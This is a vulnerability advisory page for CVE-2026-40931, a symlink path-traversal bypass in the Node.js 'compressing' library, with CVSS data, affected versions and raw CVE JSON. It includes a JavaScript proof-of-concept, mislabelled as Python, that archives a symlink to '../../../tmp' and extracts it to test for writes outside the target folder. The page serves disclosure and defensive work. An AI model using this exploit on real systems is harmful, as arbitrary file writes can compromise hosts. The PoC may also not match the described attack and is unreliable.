Security Vulnerability Report
中文
CVE-2026-40931 CVSS 8.4 HIGH

CVE-2026-40931

Published: 2026-04-21 22:16:19
Last Modified: 2026-04-23 15:49:20

Description

Compressing is a compressing and uncompressing lib for node. Prior to 2.1.1 and 1.10.5, the patch for CVE-2026-24884 relies on a purely logical string validation within the isPathWithinParent utility. This check verifies if a resolved path string starts with the destination directory string but fails to account for the actual filesystem state. By exploiting this "Logical vs. Physical" divergence, an attacker can bypass the security check using a Directory Poisoning technique (pre-existing symbolic links). This vulnerability is fixed in 2.1.1 and 1.10.5.

CVSS Details

CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:node-modules:compressing:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:node-modules:compressing:*:*:*:*:*:node.js:*:* - VULNERABLE
compressing < 2.1.1
compressing < 1.10.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
const fs = require('fs'); const path = require('path'); const compressing = require('compressing'); async function generateMaliciousArchive() { // Setup directories const sourceDir = './source'; const extractDir = './extract'; const targetLink = '../../../tmp'; if (!fs.existsSync(sourceDir)) fs.mkdirSync(sourceDir); if (!fs.existsSync(extractDir)) fs.mkdirSync(extractDir); // Step 1: Create a symlink pointing outside the extraction directory // This simulates the Directory Poisoning technique const linkPath = path.join(sourceDir, 'poisoned_link'); try { fs.symlinkSync(targetLink, linkPath); console.log(`[+] Created symlink: ${linkPath} -> ${targetLink}`); } catch (e) { console.log('[-] Symlink creation failed (might need admin rights)'); } // Step 2: Create a file inside the source (or just the structure) fs.writeFileSync(path.join(sourceDir, 'test.txt'), 'pwned'); // Step 3: Compress the directory const zipFile = './exploit.zip'; await compressing.zip.compressDir(sourceDir, zipFile); console.log(`[+] Archive created: ${zipFile}`); // Step 4: Attempt to unzip using the vulnerable library // The isPathWithinParent check may pass logically but fail physically try { console.log('[*] Attempting to unzip...'); await compressing.zip.uncompress(zipFile, extractDir); console.log('[+] Unzip complete. Check filesystem for writes outside ./extract'); } catch (err) { console.error('[-] Exploit failed:', err.message); } } generateMaliciousArchive();

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40931", "sourceIdentifier": "[email protected]", "published": "2026-04-21T22:16:19.247", "lastModified": "2026-04-23T15:49:20.480", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Compressing is a compressing and uncompressing lib for node. Prior to 2.1.1 and 1.10.5, the patch for CVE-2026-24884 relies on a purely logical string validation within the isPathWithinParent utility. This check verifies if a resolved path string starts with the destination directory string but fails to account for the actual filesystem state. By exploiting this \"Logical vs. Physical\" divergence, an attacker can bypass the security check using a Directory Poisoning technique (pre-existing symbolic links). This vulnerability is fixed in 2.1.1 and 1.10.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-59"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:node-modules:compressing:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "1.10.5", "matchCriteriaId": "734A2799-2D6B-48E1-BA28-13633AB1A458"}, {"vulnerable": true, "criteria": "cpe:2.3:a:node-modules:compressing:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "2.1.1", "matchCriteriaId": "6445E79F-051C-40AF-A23A-6174BF2B41E8"}]}]}], "references": [{"url": "https://github.com/node-modules/compressing/security/advisories/GHSA-4c3q-x735-j3r5", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/node-modules/compressing/security/advisories/GHSA-4c3q-x735-j3r5", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}